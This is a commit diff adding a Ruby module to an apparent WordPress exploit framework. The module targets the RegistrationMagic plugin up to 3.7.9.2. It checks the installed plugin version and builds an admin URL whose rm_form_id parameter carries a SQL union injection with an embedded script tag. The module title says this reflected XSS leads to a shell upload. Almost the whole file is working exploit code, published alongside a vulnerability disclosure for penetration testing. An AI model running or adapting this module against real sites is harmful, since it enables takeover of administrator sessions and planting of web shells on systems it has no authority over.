Add RegistrationMagic reflected XSS shell upload

Author: rastating

modules/exploits/registrationmagic_reflected_xss_shell_upload.rb

@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::RegistrationMagicReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+  include ERB::Util
+
+  def initialize
+    super
+
+    update_info(
+      name: 'RegistrationMagic - Custom Registration Forms <= 3.7.9.2 Reflected XSS Shell Upload',
+      author: [
+        'Rob Carr <rob[at]rastating.com>' # Disclosure + WPXF module
+      ],
+      references: [
+        ['URL', 'registrationmagic-custom-registration-forms-3-7-9-2-reflected-xss']
+      ],
+      date: 'Dec 10 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('custom-registration-form-builder-with-submission-manager', '3.7.9.3')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php')
+  end
+
+  def url_payload
+    url_encode("-#{Utility::Text.rand_numeric(2)} union select 0,0,0,'<script>#{xss_ascii_encoded_include_script}</script>',concat(0x54,0x65,0x78,0x74,0x62,0x6f,0x78),0,0,0,0,0,0")
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?page=rm_field_manage&rm_form_id=#{url_payload}"
+  end
+end